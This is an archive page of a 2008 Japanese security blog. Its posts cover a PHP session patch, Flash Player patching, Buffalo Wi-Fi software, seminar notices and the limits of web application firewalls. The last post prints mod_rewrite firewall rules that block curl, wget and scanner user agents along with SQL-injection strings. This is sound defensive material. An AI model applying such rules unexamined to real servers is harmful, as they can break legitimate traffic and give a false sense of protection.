で公開したパッチのPHP4.4.8版を送っていただきました。私のWikiにも添付ファイルとして掲載させていただきました。
http://d.hatena.ne.jp/masugata/20080714#p2
に掲載されているパッチと同じパッチです。
私は全てのPHPユーザがStrict Sessionパッチ適用すべきと考えています。詳しくはWikiをご覧ください。
http://wiki.ohgaki.net/index.php?PHP%2Fpatch%2FStrictSession
桝形さん、パッチありがとうございました。
1 コメント
自分も大垣さんと同じように思っています。
これらのパッチがPHPユーザーのセキュリティ意識の底上げに少しでも寄与できれば嬉しいです。
今後とも、よろしくお願いします。
コメントを残す
PHP 5.2用のStrict Sessionパッチ
随分前からバージョンアップしたパッチ公開しないと、と思いつつ遅れていました。PHP 5.2.6用の厳格なセッション管理を行うパッチを公開しました。詳しくはWikiをご覧下さい。
http://wiki.ohgaki.net/index.php?PHP%2Fpatch%2FStrictSession
他のネットワークからパッチをダウンロードしようとして、セキュリティ強化の為にPukiwikiのattachモジュールのカスタマイズで添付ファイルのダウンロードが出来なくなっていました。これも修正しました。
このパッチを摘要するとmake testのsession関連のテストがエラーになりますが、気にする必要はありません。テストの内容をみるとこれらのテストは本来失敗すべきであることが分かります。
フィードバックはまだありません...
コメントを残す
6/28 オープンセミナー@四国、会場変更
でご紹介したオープンソースとインターネットをテーマにした無料セミナーの件です。いよいよ明日(6/28)になりました。好評の為座席が足りない事が確実となりました。会場となる会議室を大きな会議室に変更しました。
旧:66会議室(30名)
新:61会議室(144名)
ご興味をお持ちの方はサンポート高松ホール棟6階の61会議室にお越しください。12:30頃から開場致します。
懇親会も飛び入り参加可能です。是非、ご参加ください。
フィードバックはまだありません...
コメントを残す
進まないFlash Playerのバージョンアップ
Flash Playerのバージョンアップがなかなか進まないようです。
先月末にあったSymantec社の0Day攻撃の誤報のおかげでかなりバージョンアップが進んだのですが、残念ながらまだまだのようです。例えば、先週1週間のこのブログへのアクセス集計では既知の脆弱性が無い9.0.124を利用していたのはたったの40%です。
バージョンアップが進まない原因にはAdobeのサポート方針にも大きな原因があると言えます。
...
Flash Playerには更新を自動的にチェックする機能が付いています。しかし、このバージョンチェック機能はデフォルト値は適切とは言い難く、さらにWindowsでしか利用できません。
自動通知を使用できるのは、すべての Windows プラットフォーム上で、Internet Explorer、AOL、Mozilla、Netscape および Opera ブラウザを使用している場合です。
このブログを閲覧されている方でLinux、OSXを利用されている方はおよそ10%ほどになります。これらのOSでFlash Playerを利用されているユーザは脆弱性を修正したバージョンがリリースされている事に気付いていない方もいらっしゃるかも知れません。
Windows環境では自動バージョンチェックが利用できる可能性も高いです。しかし、チェックの間隔は30日毎で適正とは言える間隔ではありません。毎日PCを利用しているユーザの場合、脆弱性を修正したバージョンがリリースされてから、早くても30日後でないと新しいバージョンの通知が行われません。
Flash Player の新しいバージョンが利用可能になるたびに Adobe から自動的に通知を受け取る場合は、[Adobe Flash Player アップデートのリリース情報を通知します。] を選択します。ポップアップメニューから、Flash Player でアップデートの有無をチェックする頻度を選択します。デフォルト値は 30 日です。
以前からこのバージョンチェック機能は動作していない事が多いのではないか、と信頼性には疑問を持っていました。デフォルト通り30日毎に新しいバージョンをチェックしているのであれば、9.0.124がリリースされてから1ヶ月以上経過しており、もっと多くのユーザが最新版のFlash Playerを利用していても良いと考えられます。
WindowsユーザのFlash Playerのバージョンのみを抽出できないので統計情報から推測ですが、30日を越えてもバージョンチェック機能が動作せず、その結果、脆弱性があるバージョンをそのまま利用してしまっているユーザがかなりの数いると推測できます。実際、リビングに置いているPCなどでは時々利用しているにも関わらず、Flash Playerのバージョンチェックが動作せず、古いバージョンのままであった事が少なくありません。
Flashのバージョンチェック、設定チェックのURLはWikiに載せています。
少なくとも普段自分が利用しているブラウザに最新版のFlashがインストールされているか、時々チェックする方が良いと思います。
フィードバックはまだありません...
コメントを残す
自ら顧客離れを促進するバッファロー、不必要なアプリケーション利用制限とQ&Aの嘘
比較的最近無線LANのアクセスポイントをNEC製からBaffalo製のWiFi Gamers (WCA-G) に交換しました。
ゲームの為にこのアクセスポイントにしたのではなく、ルータ機能は不必要であること、PCが無くても最低限の状態がわかるように液晶ディスプレイが付いていることが気に入ったので購入しました。このアクセスポイントには安全にアクセスポイントに接続する為のWPS (WiFi Protected Setup) 、WPSに良く似たBaffalo独自のAOSSをサポートしています。付属のCDにはBaffalo製品以外のネットワークカードでもWPSまたはAOSSを利用して簡単かつ安全に無線LANをセットアップする「クライアントマネージャV」(Windows Vista用)と「クライアントマネージャ3」(XP用)が付属しています。
...
WiFi Gamersが気に入ったのでBaffalo製のUSB無線LANカードも購入しました。この無線LANカードにもクライアントマネージャが付いていました。WPS/AOSS対応のアクセスポイントはパスフレーズに非常に長いランダム文字列を設定します。手動で入力できないことも無いですが入力ミスがあると見つけるのは非常に難しいです。クライアントマネージャを利用すると簡単かつ確実にパスフレーズを交換できます。
このクライアントマネージャは非常に便利だ、と気に入って使っていました。先日、他社製無線LAN NICを内蔵したXPをインストールしたノートPCを知り合いの会社に持っていき、他社製のWPS対応アクセスポイントにWPSで設定を行い接続しようとしたときに思いよらない制限に気付きました。
上記の構成の場合、NICもアクセスポイントもバッファロー製でないため鍵の交換や設定まではできるのですがクライアントマネージャがNIC、アクセスポイントのいずれもバッファロー製で無い事を検出し、無線LAN接続を確立した直後に接続を切断します。
この仕様には呆れるばかりです。何のためにこのような制限を作っているのか全く理解できません。Web 2.0以前の化石のような思考によって仕様を考えたとしか思えません。
NIC、アクセスポイントの両方が他社製であってもそのNICを利用しているユーザはバッファロー社製のアクセスポイントを自宅や会社で利用しているかも知れません。折角WPSに対応したアクセスポイントで接続できるのに、わざわざ切断して使わせない、のは怒りさえ覚えます。
もし、バッファロー社製のNICもアクセスポイントも持ったずにプログラムをダウンロードしてきて利用しているユーザが利用していても広告だと思って利用してもらえば良いだけです。サポートの事を気にしているのかも知れませんが、ソフトだけではサポートしていないと回答すれば良いだけです。
結局、私の場合はクライアントマネージャが邪魔なのでアンインストールして手動でパスフレーズを入力しました。バッファロー社製の無線LANアクセスポイントやNICを複数持っているユーザであるにも関わらずこのように無駄な事を強いられました。
バッファローはファームウェアのアップデートでWPAに対応できるはずのアクセスポイントに対して、アップデートを公開していない事は知っていましたが今回の件で愛想が尽きました。バッファローのサポート姿勢に問題があるようです。
以下のURLにバッファローの企業姿勢が良く現れているQ&Aが載っています。
Wi-Fi Gamers(WCA-G)にパソコンを接続することはできますか?
http://qa.buffalo.jp/eservice/esupport/consumer/esupport.asp?id=5d40ae63-9a4a-4002-acb3-3f24e3f32b05&resource=&number=2&isExternal=0
【詳細】 Wi-Fi Gamers(WCA-G)にパソコンやデジタル家電を 無線接続することはできますか 【対象製品】 Wi-Fi Gamers(WCA-G) Wi-Fi Gamers(WCA-G)にパソコンやデジタル家電を 接続することはできません。 Wi-Fi Gamers(WCA-G)はゲーム機専用の無線LANアク セスポイントです。パソコンやデジタル家電も無線LAN 接続する場合は「AirStation(エアステーション)」 シリーズの無線親機をご利用ください。
無線LANの仕組みを知らない素人にはもう一つ別のアクセスポイントを買わせるつもりなのでしょうか?
このWCA-Gは持っていますが普通にWebインターフェースも持っていてPCから設定変更したり、普通のアクセスポイントと同様に管理できるようになっています。もちろん、PC等から接続するにも全く問題ありません。WiFi規格に則った製品なので当たり前の事ですが。
2 コメント
ブリッジタイプのアクセスポイントは必要ですよね。
本当にバッファローさんは無駄な事をしていると思います。クライアントマネージャが便利だ、とユーザ思われて使われていれば、次に買う時に「何時も無線LANを設定している時にBaffaloって書いたウィンドウで設定するよね」と思って同じメーカの物を買うものだと思います。
満足しなくても最低限、不満を持たれないようにする事は非常に重要だと思います。不満を持っていなければ交換する時に何となく同じメーカの製品を買うものです。
「このクライアントソフトウェアを開発するのにコストが必要なのだから、そのメーカ以外の製品の組み合わせなら使えなくしても当然では?」と考える方もいらっしゃるかも知れません。この考え方は近年のマーケティング思考ではありません。囲い込み戦略を行う古いマーケティング戦略で現在では有用などころか有害な戦略と言ってよいでしょう。
NICやアクセスポイントを販売する為にこのソフトは開発されています。バッファローはNIC、アクセスポイントなどの「ハードウェア」販売を生業としており、このソフトは販促の為のおまけと言えます。他社製のNIC・アクセスポイントの組み合わせで利用されても、開発費やサポート費が増えることもありません。したがって、何も困る事はありません。WPSを利用する場合に自社の名前の入ったこのソフトが利用され、広告となれば次回購入の可能性が高くなります。
他社製WPSで接続できない仕様、とかWCA-G(WiFi Gamers)がPC等に接続できないとの記述などは信じられないような仕様とサポート姿勢です。私が社長なら責任者を呼んで何故このような事になってしまったか徹底的に調査すると思います。
コメントを残す
中国でのソフト開発は大丈夫なのか?
中国でのソフト開発が進められています。例えば、
「NEC、中国のソフト開発体制を強化−5000人にトレーニング開始」
http://enterprise.watch.impress.co.jp/cda/topic/2008/06/11/13158.html
人件費が圧倒的に安い中国ですがセキュリティの問題も考えなければなりません。中国政府の機関が直接関与していると考えられるセキュリティ上の問題は海外メディアやブログではかなり頻繁に報道されています。
A New Cold War?
http://www.spinhunters.org/blog/a-new-cold-war/
にはアメリカの通商代表が中国訪問中にコンピュータから情報を盗まれた可能性があり、捜査中だとしています。
随分前になりますが国防相のメールが中国のサイバー攻撃により読み取られた、とする報道も記憶に新しいです。アメリカ軍が利用しているルータや兵器部品でさえ中国製の偽物が多数発見されるような状態です。まさに「何でもあり」の無法状態です。
セキュリティは意識しなくてもよいシステム開発案件なら良いですが、中国での開発はさらにリスクが高いと考えるべきでしょう。システム開発にもチャイナリスクを十分に考慮しなければならない時代がやってきたようです。
2 コメント
民間の受託開発と政府は全然関係ないですし。
中国の企業の性質を理解した上でそれに応じた対策を発注元・発注先が一緒に打てば状況はコントロールできます。
特に日本向けの開発をやっている会社は、ここ二年くらいセキュリティ面の日本からの要求が厳しいのでいろいろ手を打っています。
発注側も、個人情報や顧客のデータなど漏洩するとダメージが大きいようなものは原則として中国には渡しません。
注意すべきは政府よりもまず従業員です。離職率が高いということを念頭に置く必要があります。さらに自分の書いたソースコードは自分のものと思っている人が多く離職時の持ち出しがよくあります。
また、社内でインターネットにつながっているPCはフィルタリングなどされておらず、ウィルスの巣みたいになっている会社も多々あります。
100%ローカル企業ではソフトは全て海賊版ということもいまだに当たり前で、発注者もそこは見て見ぬ振りをしています。
というような性質の違いを知って対策を打てば大丈夫ですよ。
中国に住んでいるほそやさんの言われる事なのでコメントの信頼度は100%ですね。
非常に参考になります。ありがとうございます。
コメントを残す
「オープンセミナー2008@四国」開催のご案内
追記:会場が変更されました。旧:66会議室、新:61会議室。参加者が予想より多いため大きな会議室になりました。
毎年四国で行っているオープンソース(特にPostgreSQL)とコンピュータ関連の話題をテーマに無料セミナーを行っています。今年も6/28(土曜)に高松市にて行います。
本年度でJPUG四国支部 担当理事を山下さんに交代したので、次のオープンセミナーからは山下さんが取りまとめ役を行います。
JPUGサイトのセミナーの告知文
http://www.postgresql.jp/branch/shikoku/300c30aa30fc30f330bb30df30ca30fc2008-56db56fd300d958b50ac306e304a77e53089305b
セミナー告知用のテンプレートです。興味がある方、ML等にお知らせ頂けると助かります。
○○@□□です。
「オープンセミナー2008@四国」開催のご案内をさせて頂きます。
2008年6月28日(土)にサンポート高松(香川県高松市)にて開催します。
参加費無料です。是非ご参加頂きますようお願い致します。このメールは転送自由です。ご興味があると思われる方、メールリストに転送
頂ければ幸いです。---------------------------------------------------------------
「オープンセミナー2008@四国」 開催のお知らせ
主催:
NPO法人 日本PostgreSQLユーザ会
瀬戸内Linuxユーザ会
四国BSDユーザ会
協力:
日本UNIXユーザ会「オープンセミナー2008@四国」は毎年技術者向けにオープンソースとインターネットを
テーマとして開催している無料セミナーです。昨年は「オープンセミナー2007@四国」、
「オープンセミナー2007@徳島」としてそれぞれ7月と11月に開催されました。2008年
もオープンソースとインターネットをテーマに香川県高松市にて無料セミナーを開催致し
ます。事前登録は必要ございません。プログラミング、セキュリティ、オープンソースや
インターネットに興味をお持ちの技術者、管理者、学生の皆様をお待ちしています。セミナーに使用する会議室の定員は30名です。定員を超える可能性もあります。定員を超
えた場合、立ち見となる場合がございます。お早めにお越し下さい。当日夜に高松駅近辺にて懇親会も予定しています。予約を行うため懇親会の参加には申し
込みが必要です。懇親会に参加をご希望の方は問合せ先にEメールでご連絡下さい。
(メール末尾を参照)記
オープンセミナー2008@四国 − 四国で学べるオープンソースとインターネットの世界
主催: 日本PostgreSQLユーザ会(JPUG)
瀬戸内Linuxユーザ会(STLUG)
四国BSDユーザ会(S*BUG)
協力: 日本UNIXユーザ会 (JUS)
開催日: 2008年6月28日 13:00 〜 18:00 (12:50受付開始)
開催場所:サンポート香川ホール棟6F 61会議室
http://www.sunport-hall.jp/shisetu/kaigi.htm
アクセス: JR高松駅より徒歩1分
懇親会: JR高松駅近辺ーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーー
13:00 - 13:10 開会のご挨拶ーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーー
13:10 - 14:00 KOFの過去、今、これから
講師:中野秀男 大阪市立大学 学術情報総合センター 所長・教授/
大学院創造都市研究科 教授、KOF実行委員長
法林浩之 日本UNIXユーザ会 副会長、KOF実行委員近年ソフトウェアコミュニティの活動が各地でさかんになっていますが、関西では
「オープンソースならびにコミュニティが元気に交流できる場を、関西でも作ろう」
という目的の下に集った有志により、「関西オープンソース+関西コミュニティ大決戦」
(通称KOF)を2002年から開催しています。本講演では、今年7年目を迎えるKOFの活動について、これまでの経緯、活動の経験
から得たもの、今年の予定、そして今後はどういう方向に向かっていくのかをお話し
します。ーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーー
14:10 - 15:00 PG Cluster
講師:三谷 篤 株式会社SRA西日本/日本PostgreSQLユーザ会PostgreSQLは本格的なオープンソースRDBMSと広く利用されています。PostgreSQL 8.3
では更なる高速化など大規模システムに欠かせない機能が追加されています。対規模DBに
はクラスタリングソリューションが欠かせませんが、PostgreSQL本体にクラスタリング
機能は組み込まれていません。本講演では、PostgreSQLのクラスタリングソリューションとして実績を積んでいるPG
Clusterの技術と最新動向を紹介します。ーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーー
15:10 - 16:00 最新セキュリティ事情
講師:片山 昌樹 有限会社マギシステム
各地で発生している様々なインシデントについて、最新の情報を交えつつ紹介します。ーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーー
16:05 - 16:35 ライトニングトーク1人5分程度でユーザ会や技術動向などを紹介するコーナーです。
ライトニングトーク講師を募集中です。コンピュータやインターネットに関連する
事であればテーマは自由です。応募される方は yohgaki@ohgaki.net までご連絡く
ださい。お待ちしております。ーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーー
16:40 - 17:30 Rails 2.1
講師:吉田 和弘 日本Rubyの会, 株式会社ミッタシステム 取締役RailsはWeb開発の現場でも広く利用されるようになりました。Rails 2.1では新機能が
数多く盛り込まれています。特にO/Rマッパ(ActiveRecord)の新機能についてご紹介し
ます。ーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーー
17:40 - 18:30 JavaScriptで書かれたPIC-BASICエミュレータ
講師:白石 啓一 詫間電波工業高等専門学校PIC基板を持ってなくともPIC-BASICプログラミングを楽しめる環境を作るため,Web
ブラウザに実装されたJavaScriptでPIC-BASICエミュレータを実装しました。本エミュ
レータの設計や実装方法を紹介します。ーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーー
18:30 閉会のご挨拶----
日本PostgreSQLユーザ会 http://www.postgresql.jp/
瀬戸内Linuxユーザ会 http://www.stlug.org/
四国BSDユーザ会 http://www.bbsbrain.ne.jp/~sbug/
日本UNIXユーザ会 http://www.jus.orjp/問い合わせ先:
日本PostgreSQLユーザ会 四国支部 (株式会社Result内)
四国支部長: 山下 武志 TEL: 087-832-5527
メール:tyama@mbp.ocn.ne.jp
ーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーー懇親会費は約4000円を予定しています。会場から徒歩で移動可能な居酒屋などを
予定しています。懇親会参加をご希望の方は以下のメールをお送りください。
.....................................................................
To: tyama@mbp.ocn.ne.jp
Subject: [オープンセミナー2008@四国 懇親会 参加申込]
--------------------
※ 氏名(ふりがな): ( )
所属:
連絡先郵便番号:
連絡先住所:
Tel:
Fax:
※ E-Mail:注1 先頭に"※"がある項目は必須項目です。他はオプショナル項目です。
.....................................................................
1 コメント
コメントを残す
BootcampのWindows VistaがParallelsで起動するとライセンス認証エラーでログインできない
先月のWindows Update以降、BootcampからはVistaは正常に起動し使えるのですが、Parallelsから起動するとWindowsライセンス認証のエラーが発生しログインできない状態になってしまいました。ちょっと探してみただけでは同じような問題で困っている方の情報は見つかりませんでした。
この状態はかなり使い勝手が悪いので、なんとかしたかったのですが時間の都合で放置していました。ようやく直す事ができました。
Windows側で何かしなければならないと思っていたのですが、Parallelsをアンインストールして再度インストール、ライセンス認証を求められるので認証を行うと使えるようになりました。
環境
OSX 10.5.3
Parallels Desktop build 5600
Windows Vista Business SP1
同じような問題でお困りの方、一度Parallelsをアンインストールしてみましょう。
フィードバックはまだありません...
コメントを残す
PostgreSQLカンファレンス2008
PostgreSQLカンファレンス2008が今週金曜日(6/6)に開催されます。
http://www.postgresql.jp/events/postgresql-conference-2008
例年通り参加費が必要ですが懇親会費込みです。
参加費:
カンファレンス ならび に懇親会 4,000 円
チュートリアルも含むカンファレンス ならびに 懇親会 10,000 円
今回のカンファレンスの目玉は色々ありますが、その一つはチュートリアルセッションです。まだ、空席が残っているようなのでライセンスもBSDでMySQLよりも使いやすいPostgreSQLを始めてみたい方には良いチャンスだと思います。新人研修の一環としても良いと思います。
* MySQLユーザのためのPostgreSQL入門
(リナックスアカデミー 学校長 濱野 賢一朗 氏)
興味がある方は是非カンファレンスにお越し下さい。
フィードバックはまだありません...
コメントを残す
Flashの0day脆弱性を利用した攻撃が蔓延
追記:この件、どうも0dayでなく既知の脆弱性の問題だったということで決着しているようです。情報ありがとうございます。ただ、このブログにアクセスしている方でもgoogle analyticsによると脆弱性の無いバージョンだと分かるFlashを利用している方がたったの16.6%です。前のバージョン(9.0.115)の利用者は31.78%です。残りのユーザもほとんどが危険なFlash Playerを利用していると思われます。かなり有効な攻撃であることには変わりないようです。Flash Playerは時々アップデートがある、と教えてくれますがあまり役立たないので自分で脆弱性情報を収集してバージョンチェックする方が良いです。
とりあえず9.0.124.0であれば大丈夫なようです。
http://www.adobe.com/jp/support/flashplayer/ts/documents/tn_15507.htm
いろいろ困る事もあるのですがFirefox+NoScriptを利用するとこの種の攻撃のリスクを大幅に低下させられます。
追記2:
Flash attack may as well have been zero-day
http://blogs.zdnet.com/security/?p=1236
結果的には0dayでなかったが同じくらい効果的に攻撃されているではないか、という意見です。私も同じ意見です。このブログでも時々Flashの自動更新は役立たずであり、その結果危険なFlashを使い続けているユーザが多い事を書いています。
Flashのバージョンチェックや設定チェックはお世辞にも分かり易いとは言えないのでWikiにリンク集も作っています。
http://wiki.ohgaki.net/index.php?Flash%E3%83%90%E3%83%BC%E3%82%B8%E3%83%A7%E3%83%B3%E3%83%81%E3%82%A7%E3%83%83%E3%82%AF
FlashやQuickTime等のプラグインはエンドユーザにとっては最大の脅威といっても良いくらいですが、あまりその事実は理解されていないと思います。このブログをご覧の方で最新版のFlash Playerに更新されている方はバージョンアップが進み、最新版を利用されている方の割合が17%から30%に向上しています。しかし、向上したと言ってもたったの3割で残りのほとんどは危険なFlash Playerを使い続けています。
...
五月の終わりくらいFlashの0day攻撃が話題になっています。最新版のFlash Playerでも任意コード実行が行われマルウェアをインストールされてしまう、というかなり危険な攻撃が広範囲に「現在進行形」で行われています。
しばらく忙しくて日本のWebサイトの状況を確認していませんでしたが、何故かあまり話題になっていないように思えたのでググってみました。
上位には古い記事が来ています...
この脆弱性は「まだパッチが存在せず」かなり危険であるにも関わらず、どうも認知度が低いようです。
セキュリティフォーカスの情報をフォローしている方なら以下のbidをご存知と思います。
An attacker may exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely result in denial-of-service conditions.
Adobe Flash Player 9.0.115.0 and 9.0.124.0 are vulnerable; other versions may also be affected.
http://www.securityfocus.com/bid/29386/discuss
攻撃者は影響のあるアプリケーションのコンテクストで任意コードを実行できる可能性があり、攻撃に失敗した場合はサービス不能な状態になる場合が多いと考えられます、としています。そして、この脆弱性は現時点で最新版の9.0.124.0でも攻撃可能としています。
比較的この問題について良くまとまっているサイトではさらに詳しく状況が書かれています。
http://hackademix.net/2008/05/28/unpatched-flash-vulnerability-widely-exploited-in-the-wild/
Yesterday Symantec elevated its ThreatCon rating as a response to an infection involving about 20,000 web pages (250,000 according to other sources), and probably still actively spreading through an automated SQL injection.
The main news is that this time an apparently unpatched vulnerability affecting Adobe Flash Player is being exploited, making the attack on end-users effectively cross-browser and potentially cross-platform:
単純に脆弱性が発見され未パッチの状態であるだけでなく、2万ページ、ソースによっては25万ページ以上のWebサイトがSQLインジェクション攻撃を利用され、攻撃用のURLを埋め込まれているとしています。
さらに、この攻撃はクロスブラウザで潜在的にはクロスプラットフォームでありエンドユーザを効果的に攻撃しているとしています。
対策は簡単です。IEユーザはFlashプレイヤーを無効化またはアンインストール、FirefoxユーザならNoScriptをインストールすることです。
この攻撃はSQLインジェクションで攻撃用のURLを埋め込まれたサイトにアクセスすると攻撃されます。実際に攻撃おこなうサイトは別のサイト(.cnドメインのサイト)から行われるドライブバイ型の攻撃です。NoScriptユーザは攻撃を実際に行う.cnサイトにFlashの実行を許可していない限り攻撃は成功しません。
検証していないのでインターネットから収集できる情報からだけ判断すると、最新版でも攻撃は可能で一部の攻撃は最新版のFlash (9.0.124.0)なら攻撃されないような攻撃もあるようです。この結果以下のAdobeのエントリを斜め読みすると最新版なら安全と勘違いされている方もいるかも知れません。
http://blogs.adobe.com/psirt/2008/05/potential_flash_player_issue.html
2008/5/29のCNET Japanの記事もミスリーディングです。
http://japan.cnet.com/news/sec/story/0,2000056024,20374222,00.htm?ref=rss
一方ITMediaの方は比較的分かりやすく書いてあります。
1 コメント
nitoyonさんの所に大体の経緯がありますが、
ttp://d.hatena.ne.jp/nitoyon/20080529/flash_zero_day
最終的には「ゼロデイでなかった」という結論が出ているようです。
コメントを残す
誤ったWAFの使い方 - 国連でも
WAF(Web Application Firewall)とは、通常のレイヤー2や3(IP, TCP/UDP)レベルのファイアーウォールよりもさらに上のレベルのアプリケーション層のファイアーウォールです。アプリケーションはレイヤー7とも言われ、ネットワークスイッチなどではアプリケーションの中身まで参照してスイッチングするスイッチはレイヤー7スイッチと呼ばれてきましたが、ファイアーウォールではレイヤー7ファイアーウォールと呼ばれる事は少なく、WAFと呼ばれる事が多いです。
WAFの目的は名前からも明白です。Webアプリケーションを脅威から守るために利用されます。WAFはWebアプリケーションをセキュリティ上の脅威から守る事ができますが、昔レイヤー2/3のファイアーウォールの能力が誇大に広告され、誤った認識で利用されていたように、WAFの能力も誤解されている事が少なくありません。
...
国連サイトがマルウェアを配布
国連のサイトは昨年8月にページが改竄されました。

画像では分かり辛いですが、クラッカーにより反戦のメッセージが右下の部分に書き込まれています。

こちらは文字が大きいので反戦のメッセージが書き込まれている事が判別できると思います。
当然国連はこの問題に対処しました。しかし、CNET NEWSではこの改竄事件後のWebサイト改修後にもリスクが残っている事を報道しています。
Hacked U.N. Web site still at risk?
http://www.news.com/8301-10784_3-9758843-7.html
国連のサイトにSQLインジェクションの脆弱性があるとレポートされた方によると国連は脆弱性自体を修正するのではなくWAFだけ導入したそうです。その結果マルウェア配布に利用されてしまいました。
サイトの記述からするとWAFだけ入れいたので、最近流行りのASPサイトを目標としたSQLインジェクション攻撃でドライブバイダウンロードに利用されたようです。
ところでゴールデンウィーク明けからISS/ASPサイトに対するSQLインジェクション攻撃の第2波が観測されています。ご注意ください。
WAFに対する誤解
- WAFが対応する脆弱性なら大丈夫
- WAFを導入すればセキュリティ監査が不必要になる
- 脆弱性は修正しなくても大丈夫
WAFを導入していてもアプリケーションの脆弱性は修正しなければ、攻撃可能となってしまう状態は当たり前のようにあります。WAFの防御を回避した攻撃は多くあるのです。さらに、WAFが対応している脆弱性でもその攻撃に対する対処が無効であれば役に立ちません。WAFが対応していたにも関わらず防御が有効でなかったため、結局攻撃可能であった例もよくあります。この様な事例は私もセキュリティチェックを行っている際に発見した事があります。
WAFだけでは防御不可能
WAFを導入してもアプリケーションの脆弱性を完全に保護することは不可能です。WAFの防御方法はブラックリスト方式であるため予め分かっている脆弱性しか保護できません。しかも、全ての防御用の定義を利用すると、負荷の高いサイトでは、速度が遅すぎて使い物にもなりません。仮に速度が十分に速かったとしても全ての定義を有効にするとアプリケーションが正常に動作できなくなります。
アプリケーションロジックに誤りがあってもWAFには判別不可能です。例えば、権限を持たないユーザが本来参照または変更できてはならないデータを参照・変更できてしまう。認証済みのユーザだけが利用できる機能が認証無しで利用できてしまう。クッキーに保存してはならないデータ、パスワード等、を保存している、などこれらの脆弱性はWAFでは判別できません。今時クッキーにユーザ名とパスワードを保存するようなアプリケーションは無い、と思うかもしれませんがPloneやSerendipidy等、最近までユーザ名とパスワードをクッキーに保存していた有名で人気も高いアプリケーションもあります。オープンソースのアプリケーションですらこの有様です。セキュリティを意識せずに作られたアプリケーションにこれらの脆弱性があっても不思議ではありません。
今までの説明からも明らかなように、WAFがあるからといってセキュリティ監査が不要になる訳ではありあません。セキュリティ基準の中にはWAFの導入かセキュリティ監査の実施を求める物もあります。新しいPCI DSS(Payment Company Industry Data Security Stantdard)ではWAFを導入するか、セキュリティ監査を受けるかどちらかを行うように求めています。この要求事項はどちらか行えばよいようになっていますが、実際には両方必要です。どちらか一つを選択するならアプリケーション全体のセキュリティ監査を行った方がよいでしょう。
WAFの導入を検討するよりセキュリティ監査を検討すべき
セキュリティ監査には、リスク分析も含まれます。セキュリティ監査から得られる脆弱性情報も重要ですが、リスク分析やベストプラクティスとの比較も非常に有用です。自分が利用しているアプリケーションにどれほどのリスクが有るのか分析しないと、どの程度のコストをかけて対処すべきか判断できません。セキュリティ対策としてWAFを導入するのであれば、セキュリティ監査を受けそのリスク分析の結果から判断すべきです。
前回のエントリのような簡単なWAFであっても十分IPSとして機能できます。Apacheを利用しているならmod_securityでより高度な制御も可能です。大規模なサイトでなければアプリケーション自身を安全な状態に保ち簡易なWAFで防御する方がコストメリットが大きいでしょう。
WAFは無用の長物か
WAFは不必要なネットワークコンポーネントではありません。サイトを安定運用させるには重要なコンポーネントです。例えば、内部監査や善意ある外部のハッカーにより脆弱性が指摘された場合でも、直ぐに脆弱性に対処、修正するのは難しい場合も少なくありません。利用しているアプリケーションの新しいバージョンで脆弱性が修正されていても、直ぐにバージョンアップできない事もは良くあることです。
この様な場合、攻撃されるリスクを最小限にしつつ運用を継続するためWAFは非常に有効です。
基本的な攻撃ならWAFでも効果的に排除できる場合もあります。これは簡易WAFでも可能です。ヌル文字、改行文字などの特殊文字がユーザエージェントやクッキー等に含まれていないかチェックし、挿入が検出された場合に送信元のIPアドレスからの接続を無条件で拒否する等の対処していれば、うっかりミスで脆弱性があった場合でも攻撃されずに済む事もあるでしょう。
フィードバックはまだありません...
コメントを残す
mod rewriteを使用した簡易WAF
http://www.0x000000.com/?i=567 にmod rewriteを利用した簡易WAF(Web Application Firewall)の定義例が掲載されています。同じようなアイデアをお持ちの方、既に似たような設定を使われている方も多いとは思います。
...
簡単なWAFですが、実用性も高いです。例えば、ヌル文字やHTML特殊文字のインジェクションは様々な攻撃で利用されます。アプリケーションで対処が忘れられがちなCOOOKIEやREFER、USER_AGENT等に特殊文字が入っていた場合にアクセスを拒否する部分だけもで導入する価値は十分にあると思います。
元ネタのサイトは英語ですが、解説付きです。
これを入れると問題となる場合もあるので、内容を理解してから利用しなければなりません。
RewriteEngine On Options +FollowSymLinks ServerSignature Off RewriteCond %{REQUEST_METHOD} ^(HEAD|TRACE|DELETE|TRACK) [NC,OR] RewriteCond %{THE_REQUEST} ^.*(\\r|\\n|%0A|%0D).* [NC,OR] RewriteCond %{HTTP_REFERER} ^(.*)(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR] RewriteCond %{HTTP_COOKIE} ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR] RewriteCond %{REQUEST_URI} ^/(,|;|:|<|>|">|"<|/|\\\.\.\\).{0,9999}.* [NC,OR] RewriteCond %{HTTP_USER_AGENT} ^$ [OR] RewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget).* [NC,OR] RewriteCond %{HTTP_USER_AGENT} ^.*(winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner).* [NC,OR] RewriteCond %{HTTP_USER_AGENT} ^.*(libwww-perl|curl|wget|python|nikto|scan).* [NC,OR] RewriteCond %{HTTP_USER_AGENT} ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR] RewriteCond %{QUERY_STRING} ^.*(;|<|>|'|"|\)|%0A|%0D|%22|%27|%3C|%3E|%00).*(/\*|union|select|insert|cast|set|declare|drop|update|md5|benchmark).* [NC,OR] RewriteCond %{QUERY_STRING} ^.*(localhost|loopback|127\.0\.0\.1).* [NC,OR] RewriteCond %{QUERY_STRING} ^.*\.[A-Za-z0-9].* [NC,OR] RewriteCond %{QUERY_STRING} ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC] RewriteRule ^(.*)$ access_log.php
フィードバックはまだありません...
コメントを残す
多数のIISがクラックされる
日本ではサウンドハウスがSQLインジェクションによりクレジットカード情報を盗まれた事が記憶に新しいですが、F-Secureによると51万ページ以上のWebページがSQLインジェクションによりクラックされ、ドライブバイ攻撃に利用さているとしています。
IISサイトにはSQLインジェクションに脆弱なサイトが多いと言われていました。
